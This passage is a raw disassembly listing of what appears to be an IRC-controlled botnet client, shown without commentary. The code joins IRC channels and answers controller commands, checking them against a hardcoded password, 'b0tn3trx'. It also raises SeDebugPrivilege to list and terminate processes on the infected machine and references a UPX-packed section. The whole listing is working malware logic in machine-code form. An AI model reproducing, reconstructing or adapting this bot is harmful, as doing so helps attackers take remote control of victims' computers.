Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Fh ; int push eax ; Source call sub_416D48 add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41532A push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4147C9 loc_4147B3: ; CODE XREF: sub_40EE51+5976j cmp [ebp+var_460], ebx jnz loc_414DFC push 32h call ds:dword_423060 ; Sleep jmp short loc_4147B3 ; --------------------------------------------------------------------------- loc_4147C9: ; CODE XREF: sub_40EE51+5960j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_434734 jmp loc_414DED ; --------------------------------------------------------------------------- loc_4147DA: ; CODE XREF: sub_40EE51+1611j ; sub_40EE51+1626j cmp [ebp+var_8], ebx jnz short loc_4147F9 push ebx ; int push [ebp+var_4] ; int push offset dword_43470C ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_4147F9: ; CODE XREF: sub_40EE51+598Cj push [ebp+arg_4] call ds:dword_43C6B0 ; closesocket call ds:dword_43C578 ; WSACleanup call sub_40AC3D push ebx call ds:dword_42314C loc_414814: ; CODE XREF: sub_40EE51+15E7j ; sub_40EE51+15FCj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push eax call sub_40B8D3 pop ecx pop ecx push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 push offset dword_4346E4 jmp short loc_41486C ; --------------------------------------------------------------------------- loc_41483F: ; CODE XREF: sub_40EE51+14ADj ; sub_40EE51+14C2j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] ; int push [ebp+arg_1C] ; int push eax ; Dest call sub_40BB87 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 push offset dword_4346BC loc_41486C: ; CODE XREF: sub_40EE51+572Bj ; sub_40EE51+59ECj call sub_40BF6F jmp loc_413066 ; --------------------------------------------------------------------------- loc_414876: ; CODE XREF: sub_40EE51+1483j ; sub_40EE51+1498j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40C00F jmp loc_40F212 ; --------------------------------------------------------------------------- loc_41488F: ; CODE XREF: sub_40EE51+1459j ; sub_40EE51+146Ej cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_4148CE mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4148CE push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4148CE push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h ; Count push eax ; Dest call __snprintf add esp, 10h loc_4148CE: ; CODE XREF: sub_40EE51+5A47j ; sub_40EE51+5A52j ... push [ebp+Format] ; Format lea eax, [ebp+var_408] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] push offset dword_434694 ; Format mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Dh ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C081 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_41496E loc_414958: ; CODE XREF: sub_40EE51+5B1Bj cmp [ebp+var_2FC], ebx jnz loc_40F215 push 32h call ds:dword_423060 ; Sleep jmp short loc_414958 ; --------------------------------------------------------------------------- loc_41496E: ; CODE XREF: sub_40EE51+5B05j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_43464C jmp loc_40F3FE ; --------------------------------------------------------------------------- loc_41497F: ; CODE XREF: sub_40EE51+142Fj ; sub_40EE51+1444j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BEF7 push offset dword_434624 call sub_40BF6F jmp loc_4144E9 ; --------------------------------------------------------------------------- loc_41499F: ; CODE XREF: sub_40EE51+1405j ; sub_40EE51+141Aj push [ebp+Format] ; Format lea eax, [ebp+var_4F0] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_4149F9 push offset aSub ; "sub" push esi ; Str1 call _strcmp neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_4149FF ; --------------------------------------------------------------------------- loc_4149F9: ; CODE XREF: sub_40EE51+5B8Cj mov [ebp+var_46C], ebx loc_4149FF: ; CODE XREF: sub_40EE51+5BA6j lea eax, [ebp+Dst] push offset dword_4345F4 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 20h ; int push eax ; Source call sub_416D48 add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_416DB3 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_414A69 loc_414A57: ; CODE XREF: sub_40EE51+5C16j cmp [ebp+var_460], ebx jnz short loc_414A84 push 32h call ds:dword_423060 ; Sleep jmp short loc_414A57 ; --------------------------------------------------------------------------- loc_414A69: ; CODE XREF: sub_40EE51+5C04j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_4345AC ; Format loc_414A75: ; CODE XREF: sub_40EE51+489Ej ; sub_40EE51+49B7j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_414A84: ; CODE XREF: sub_40EE51+452Cj ; sub_40EE51+4544j ... lea eax, [ebp+Dst] push eax jmp loc_410624 ; --------------------------------------------------------------------------- loc_414A90: ; CODE XREF: sub_40EE51+1389j ; sub_40EE51+139Ej push offset aBotid ; "botid" lea eax, [ebp+Dst] push offset dword_434584 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 20h jmp loc_411106 ; --------------------------------------------------------------------------- loc_414AC7: ; CODE XREF: sub_40EE51+135Fj ; sub_40EE51+1374j push ds:dword_486C00 call sub_40B71C push eax lea eax, [ebp+Dst] push offset dword_434548 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 24h jmp loc_411106 ; --------------------------------------------------------------------------- loc_414B05: ; CODE XREF: sub_40EE51+1335j ; sub_40EE51+134Aj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B37 cmp [ebp+var_C], ebx jz short loc_414B46 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_414B46 push eax ; Args push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] ; int call sub_40D62A add esp, 0Ch jmp short loc_414B46 ; --------------------------------------------------------------------------- loc_414B37: ; CODE XREF: sub_40EE51+5CBDj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] ; int call sub_40D62A pop ecx pop ecx loc_414B46: ; CODE XREF: sub_40EE51+5CC2j ; sub_40EE51+5CD1j ... push 0FFFFFFFEh jmp loc_40F217 ; --------------------------------------------------------------------------- loc_414B4D: ; CODE XREF: sub_40EE51+130Bj ; sub_40EE51+1320j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] ; int call sub_40D62A push offset dword_4344F8 call sub_40BF6F add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F218 ; --------------------------------------------------------------------------- loc_414B6F: ; CODE XREF: sub_40EE51+12E1j ; sub_40EE51+12F6j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_40D62A push offset dword_4344B8 call sub_40BF6F add esp, 0Ch xor eax, eax jmp loc_40F218 ; --------------------------------------------------------------------------- loc_414B90: ; CODE XREF: sub_40EE51+12B7j ; sub_40EE51+12CCj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_407102 jmp loc_412FCF ; --------------------------------------------------------------------------- loc_414BA6: ; CODE XREF: sub_40EE51+1212j ; sub_40EE51+1227j push [ebp+esi+var_90] push 1Fh push offset dword_4344A8 push offset dword_43449C jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_414BBE: ; CODE XREF: sub_40EE51+11E8j ; sub_40EE51:loc_41004Ej push [ebp+esi+var_90] push 1Ch push offset dword_434490 push offset dword_434480 jmp loc_40FEA3 ; --------------------------------------------------------------------------- loc_414BD6: ; CODE XREF: sub_40EE51+1013j ; sub_40EE51+1028j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414BF5 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_414BF5 push edi ; Str call _atoi pop ecx jmp short loc_414BFA ; --------------------------------------------------------------------------- loc_414BF5: ; CODE XREF: sub_40EE51+5D8Ej ; sub_40EE51+5D99j mov eax, ds:dword_42E5A8 loc_414BFA: ; CODE XREF: sub_40EE51+5DA2j mov esi, [ebp+esi+Format] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C1F push esi ; Format loc_414C0C: ; CODE XREF: sub_40EE51+5DDDj lea eax, [ebp+var_488] push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_414C36 ; --------------------------------------------------------------------------- loc_414C1F: ; CODE XREF: sub_40EE51+5DB8j cmp [ebp+var_9C7], bl jz short loc_414C30 lea eax, [ebp+var_D8] push eax jmp short loc_414C0C ; --------------------------------------------------------------------------- loc_414C30: ; CODE XREF: sub_40EE51+5DD4j mov [ebp+var_488], bl loc_414C36: ; CODE XREF: sub_40EE51+5DCCj mov eax, [ebp+var_4] push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax ; Dest mov [ebp+var_50C], esi call __snprintf add esp, 0Ch push [ebp+var_478] push esi call sub_40AEDB pop ecx push eax lea eax, [ebp+Dst] push offset unk_42A75C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 11h ; int push eax ; Source call sub_416D48 add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FD7 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_414CE7 loc_414CD1: ; CODE XREF: sub_40EE51+5E94j cmp [ebp+var_464], ebx jnz loc_40F215 push 32h call ds:dword_423060 ; Sleep jmp short loc_414CD1 ; --------------------------------------------------------------------------- loc_414CE7: ; CODE XREF: sub_40EE51+5E7Ej call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_434438 jmp loc_40F3FE ; --------------------------------------------------------------------------- loc_414CF8: ; CODE XREF: sub_40EE51+FBFj ; sub_40EE51+FD4j ... push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz short loc_414D20 push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D2A loc_414D20: ; CODE XREF: sub_40EE51+5EB6j mov [ebp+var_46C], 1 loc_414D2A: ; CODE XREF: sub_40EE51+5ECDj push [ebp+Format] ; Format lea eax, [ebp+var_4F0] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D71 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D71: ; CODE XREF: sub_40EE51+5F19j push eax push offset dword_4343EC ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_416D48 add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F17 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_414DE1 loc_414DCF: ; CODE XREF: sub_40EE51+5F8Ej cmp [ebp+var_460], ebx jnz short loc_414DFC push 32h call ds:dword_423060 ; Sleep jmp short loc_414DCF ; --------------------------------------------------------------------------- loc_414DE1: ; CODE XREF: sub_40EE51+5F7Cj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_4343A0 ; Format loc_414DED: ; CODE XREF: sub_40EE51+3DACj ; sub_40EE51+4AB3j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_414DFC: ; CODE XREF: sub_40EE51+2ECEj ; sub_40EE51+396Aj ... lea eax, [ebp+Dst] push eax call sub_40BF6F jmp loc_40F404 ; --------------------------------------------------------------------------- loc_414E0D: ; CODE XREF: sub_40EE51+F95j ; sub_40EE51+FAAj push offset aH4ckerTool ; "h4cker tool" push offset dword_434380 ; Format loc_414E17: ; CODE XREF: sub_40EE51+4853j ; sub_40EE51+4B67j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_414E23: ; CODE XREF: sub_40EE51+56E3j add esp, 0Ch jmp loc_4110E5 ; --------------------------------------------------------------------------- loc_414E2B: ; CODE XREF: sub_40EE51+F6Bj ; sub_40EE51+F80j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E8B push esi ; Str call _atoi cmp eax, ebx pop ecx jl short loc_414E80 cmp eax, 2 jge short loc_414E80 mov edx, [ebp+Str1] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E75 lea eax, [esi+1] push eax lea eax, [ebp+Dst] push offset dword_43770C ; Format push eax ; Dest call _sprintf add esp, 0Ch mov [esi], bl jmp loc_410E22 ; --------------------------------------------------------------------------- loc_414E75: ; CODE XREF: sub_40EE51+6003j push eax push offset dword_434344 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_414E80: ; CODE XREF: sub_40EE51+5FEEj ; sub_40EE51+5FF3j push eax push offset dword_434308 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_414E8B: ; CODE XREF: sub_40EE51+5FE3j mov edi, [ebp+Str1] xor esi, esi loc_414E90: ; CODE XREF: sub_40EE51+605Bj push [ebp+Str2] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_414EB3 inc esi add edi, 80h cmp esi, 2 jl short loc_414E90 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_414EB3: ; CODE XREF: sub_40EE51+604Fj mov eax, [ebp+Str1] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_43770C jmp loc_410E13 ; --------------------------------------------------------------------------- loc_414ECD: ; CODE XREF: sub_40EE51+F41j ; sub_40EE51+F56j push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz short loc_414F3C call sub_416F11 push ebx call ds:dword_42314C loc_414EEF: ; CODE XREF: sub_40EE51+F17j ; sub_40EE51+F2Cj push [ebp+esi+var_90] ; Str1 xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax ; int lea eax, [ebp+var_928] push ds:dword_42E5C8 ; int push eax ; Dest call sub_415CF0 lea eax, [ebp+var_928] push eax ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_40D62A lea eax, [ebp+var_928] push eax ; Args push offset dword_4342D4 ; Format call sub_40BFE3 loc_414F39: ; CODE XREF: sub_40EE51+2C12j add esp, 24h loc_414F3C: ; CODE XREF: sub_40EE51+65Cj ; sub_40EE51+668j ... mov eax, [ebp+File] jmp loc_40F218 ; --------------------------------------------------------------------------- loc_414F44: ; CODE XREF: sub_40EE51+B19j ; sub_40EE51+B2Cj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+Src], esi jz loc_40F215 cmp [ebp+var_AC], ebx jnz loc_40F215 push offset asc_437788 ; "!" push [ebp+Str2] ; Str call _strtok mov esi, eax push offset byte_4397D4 ; Delim push ebx ; Str inc esi call _strtok push offset asc_4342D0 ; "~" push eax ; Str call _strtok push [ebp+Src] ; Str2 mov edi, eax push offset aB0tn3trx ; "b0tn3trx" call _strcmp add esp, 20h test eax, eax jz short loc_414FEC lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax ; Args push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_40D62A lea eax, [ebp+var_D8] push eax ; Args push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] ; int call sub_40D62A push edi push esi push offset dword_434248 ; Format loc_414FD8: ; CODE XREF: sub_40EE51+61F7j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 30h jmp loc_40F7F5 ; --------------------------------------------------------------------------- loc_414FEC: ; CODE XREF: sub_40EE51+614Ej mov [ebp+File], offset off_42E6B4 loc_414FF3: ; CODE XREF: sub_40EE51+61BEj mov eax, [ebp+File] push edi push dword ptr [eax] call sub_4170A1 pop ecx test eax, eax pop ecx jnz short loc_41504A add [ebp+File], 4 cmp [ebp+File], offset off_42E6B8 jl short loc_414FF3 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax ; Args push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_40D62A lea eax, [ebp+var_D8] push eax ; Args push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] ; int call sub_40D62A push edi push esi push offset dword_43420C jmp short loc_414FD8 ; --------------------------------------------------------------------------- loc_41504A: ; CODE XREF: sub_40EE51+61B1j mov edi, [ebp+Str1] xor esi, esi loc_41504F: ; CODE XREF: sub_40EE51+6228j cmp [ebp+Src], ebx jz loc_40F215 cmp [edi], bl jnz short loc_41506F push [ebp+Src] ; Str2 push offset aB0tn3trx ; "b0tn3trx" call _strcmp pop ecx test eax, eax pop ecx jz short loc_415080 loc_41506F: ; CODE XREF: sub_40EE51+6209j inc esi add edi, 80h cmp esi, 2 jl short loc_41504F jmp loc_40F215 ; --------------------------------------------------------------------------- loc_415080: ; CODE XREF: sub_40EE51+621Cj shl esi, 7 add esi, [ebp+Str1] lea eax, [ebp+var_AA8] push 7Fh ; Count push eax ; Source push esi ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150B7 push ebx ; int push [ebp+var_4] ; int push offset dword_4341DC ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_4150B7: ; CODE XREF: sub_40EE51+624Aj lea eax, [ebp+var_D8] push eax push offset dword_4341AC jmp loc_40F3FE ; --------------------------------------------------------------------------- loc_4150C8: ; CODE XREF: sub_40EE51+20Ej ; sub_40EE51+223j push [ebp+Source] ; Args push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push offset aXi ; "+xi" push [ebp+Source] ; Args push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_40D62A add esp, 2Ch mov ds:dword_486D80, edi jmp loc_40F0EE sub_40EE51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41510E proc near ; CODE XREF: sub_409032+45p ; sub_409032+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_42313C ; GetCurrentProcess push eax call ds:dword_43C5FC ; OpenProcessToken test eax, eax jnz short loc_41512D leave retn ; --------------------------------------------------------------------------- loc_41512D: ; CODE XREF: sub_41510E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_43C5D4 ; LookupPrivilegeValueA test eax, eax jz short loc_41516B cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415154 or [ebp+var_8], 2 jmp short loc_415158 ; --------------------------------------------------------------------------- loc_415154: ; CODE XREF: sub_41510E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415158: ; CODE XREF: sub_41510E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_43C684 ; AdjustTokenPrivileges mov esi, eax loc_41516B: ; CODE XREF: sub_41510E+32j push [ebp+var_4] call ds:dword_423074 mov eax, esi pop esi leave retn sub_41510E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415179(int,char *Str,int,char *Str2,int,int) sub_415179 proc near ; CODE XREF: sub_40EE51+4B54p ; sub_41532A+74p Dest = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h Str1 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_43C638, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415323 cmp ds:dword_43C61C, ebx jz loc_415323 cmp ds:dword_43C538, ebx jz loc_415323 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41510E pop ecx pop ecx push ebx push 0Fh call ds:dword_43C638 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415316 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call ds:dword_43C61C ; Process32First mov esi, ds:dword_423074 test eax, eax jz loc_415311 loc_41521C: ; CODE XREF: sub_415179+BEj ; sub_415179+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call ds:dword_43C538 ; Process32Next test eax, eax jz loc_415311 cmp [ebp+arg_10], ebx jnz short loc_41521C cmp [ebp+Str2], ebx jnz loc_4152C9 cmp [ebp+Str], ebx jz short loc_41521C push [ebp+var_124] push 8 call ds:dword_43C638 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415286 lea eax, [ebp+var_350] push eax push edi call ds:dword_43C4E4 ; Module32First push [ebp+var_124] test eax, eax jz short loc_41528C lea eax, [ebp+var_230] jmp short loc_415292 ; --------------------------------------------------------------------------- loc_415286: ; CODE XREF: sub_415179+EBj push [ebp+var_124] loc_41528C: ; CODE XREF: sub_415179+103j lea eax, [ebp+Str1] loc_415292: ; CODE XREF: sub_415179+10Bj push eax lea eax, [ebp+Dest] push offset aSD_0 ; " %s (%d)" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push 1 ; int push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h push edi call esi jmp loc_41521C ; --------------------------------------------------------------------------- loc_4152C9: ; CODE XREF: sub_415179+C3j push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_41521C push [ebp+var_124] push ebx push 1F0FFFh call ds:dword_4230F8 ; OpenProcess push [ebp+var_4] mov edi, eax call esi push ebx push edi call ds:dword_423110 test eax, eax jnz short loc_41530C push edi call esi jmp short loc_415323 ; --------------------------------------------------------------------------- loc_41530C: ; CODE XREF: sub_415179+18Cj push 1 pop eax jmp short loc_415325 ; --------------------------------------------------------------------------- loc_415311: ; CODE XREF: sub_415179+9Dj ; sub_415179+B5j push [ebp+var_4] call esi loc_415316: ; CODE XREF: sub_415179+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41510E pop ecx pop ecx loc_415323: ; CODE XREF: sub_415179+3Aj ; sub_415179+46j ... xor eax, eax loc_415325: ; CODE XREF: sub_415179+196j pop edi pop esi pop ebx leave retn sub_415179 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41532A proc near ; DATA XREF: sub_40EE51+593Fo Dest = byte ptr -298h var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43780C ; Format rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+Dest] push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_415389 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_40D670 add esp, 14h loc_415389: ; CODE XREF: sub_41532A+3Dj push [ebp+var_10] ; int lea eax, [ebp+Str] push esi ; int push esi ; Str2 push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_415179 add esp, 18h test eax, eax jnz short loc_4153B1 push offset unk_4377D4 jmp short loc_4153B6 ; --------------------------------------------------------------------------- loc_4153B1: ; CODE XREF: sub_41532A+7Ej push offset unk_43779C ; Format loc_4153B6: ; CODE XREF: sub_41532A+85j lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153E9 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_40D670 add esp, 14h loc_4153E9: ; CODE XREF: sub_41532A+9Dj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_14] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_41532A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415408 proc near ; CODE XREF: sub_40EE51+4AF6p ; sub_416E83+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_4230F8 ; OpenProcess mov esi, eax test esi, esi jz short loc_41543A push 0 push esi call ds:dword_423110 test eax, eax jnz short loc_41543A push esi xor edi, edi call ds:dword_423074 loc_41543A: ; CODE XREF: sub_415408+1Aj ; sub_415408+27j mov eax, edi pop edi pop esi retn sub_415408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41543F proc near ; CODE XREF: UPX0:004030D2p ; UPX0:00403695p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call _rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_423698 call __ftol sub esi, eax mov eax, esi pop esi leave retn sub_41543F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41546F proc near ; DATA XREF: sub_4156FD+1BEo var_3D4 = byte ptr -3D4h Str1 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h Dest = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch Args = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_44207C[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call ds:dword_43C600 ; select test eax, eax jnz short loc_4154F3 push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push edi call ds:dword_423050 loc_4154F3: ; CODE XREF: sub_41546F+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call ds:dword_43C630 ; recv lea eax, [ebp+Args] push 10h push eax push dword ptr [esi] call sub_415674 lea 